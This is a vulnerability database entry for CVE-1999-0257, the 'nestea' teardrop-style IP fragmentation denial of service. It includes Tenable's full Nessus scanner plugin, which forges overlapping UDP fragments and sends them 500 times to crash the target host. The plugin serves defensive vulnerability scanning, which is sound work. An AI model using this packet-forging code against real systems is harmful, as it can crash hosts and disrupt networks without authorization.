Vulnerabilities > CVE-1999-0257 - Unspecified vulnerability in Linux Kernel 2.6.20.1

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
linux
nessus

Summary

Nestea variation of teardrop IP fragmentation denial of service.

Vulnerable Configurations

Part Description Count
OS
Linux
1

Nessus

NASL familyDenial of Service
NASL idNESTEA.NASL
descriptionIt was possible to make the remote server crash using the
last seen2020-06-01
modified2020-06-02
plugin id10148
published1999-06-22
reporterThis script is Copyright (C) 1999-2019 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10148
titleTCP/IP Fragmentation DoS (nestea)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(10148);
  script_version("1.35");
  script_cvs_date("Date: 2019/03/06 18:38:55");

  script_cve_id("CVE-1999-0257");
  script_bugtraq_id(7219);

  script_name(english:"TCP/IP Fragmentation DoS (nestea)");
  script_summary(english:"Crashes the remote host using the 'nestea' attack");

  script_set_attribute(attribute:"synopsis", value:"The remote service is prone to a denial of service attack.");
  script_set_attribute(attribute:"description", value:
"It was possible to make the remote server crash using the 'nestea'
attack.

An attacker may use this flaw to shut down this server, thus
preventing your network from working properly");
  script_set_attribute(attribute:"solution", value:
"Contact your operating system vendor for the appropriate patch or
upgrade.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"see_also", value:"https://insecure.org/sploits/linux.PalmOS.nestea.html");

  script_set_attribute(attribute:"vuln_publication_date", value:"1998/04/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_KILL_HOST);

  script_copyright(english:"This script is Copyright (C) 1999-2019 Tenable Network Security, Inc.");
  script_family(english:"Denial of Service");

  script_require_keys("Settings/ParanoidReport");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

if ( TARGET_IS_IPV6 ) exit(0);
start_denial();


# Don't read back the answers


# Our "constants"
MAGIC = 108;
IPH   = 20;
UDPH  = 8;
PADDING = 256;
IP_ID = 242;
sport = 123;
dport = 137;

ip = forge_ip_packet(ip_v : 4,
		     ip_hl : 5,
		     ip_tos : 0,
		     ip_id  : IP_ID,
		     ip_len : IPH + UDPH + 10,
		     ip_off : 0|IP_MF,
		     ip_p   : IPPROTO_UDP,
		     ip_src : compat::this_host(),
		     ip_ttl : 0x40);
# Forge the first udp packet
udp1 = forge_udp_packet(ip : ip,
			uh_sport : sport,
			uh_dport : dport,
			uh_ulen : UDPH + 10);

# Change some params in the ip packet
ip = set_ip_elements(ip:ip, ip_len : IPH + UDPH + MAGIC,
		       ip_off : 6);

# Forge the second udp packet
udp2 = 	forge_udp_packet(ip : ip,
			uh_sport : sport,
			uh_dport : dport,
			uh_ulen : UDPH + MAGIC);

# Change some params one more
ip = set_ip_elements(ip : ip, ip_len : IPH + UDPH + PADDING + 40,
	        ip_off : 0|IP_MF);

# data = 'XXX.....XX'

data = crap(PADDING);
# Forge the third udp packet
udp3 = 	forge_udp_packet(ip : ip,
			uh_sport : sport,
			uh_dport : dport,
			uh_ulen : UDPH + PADDING,
			data : data);

# Send our udp packets 500 times
send_packet(udp1, udp2, udp3, pcap_active:FALSE) x 500;

sleep(5);
alive = end_denial();
if(!alive){
                set_kb_item(name:"Host/dead", value:TRUE);
                security_hole(port:0, protocol:"udp");
                }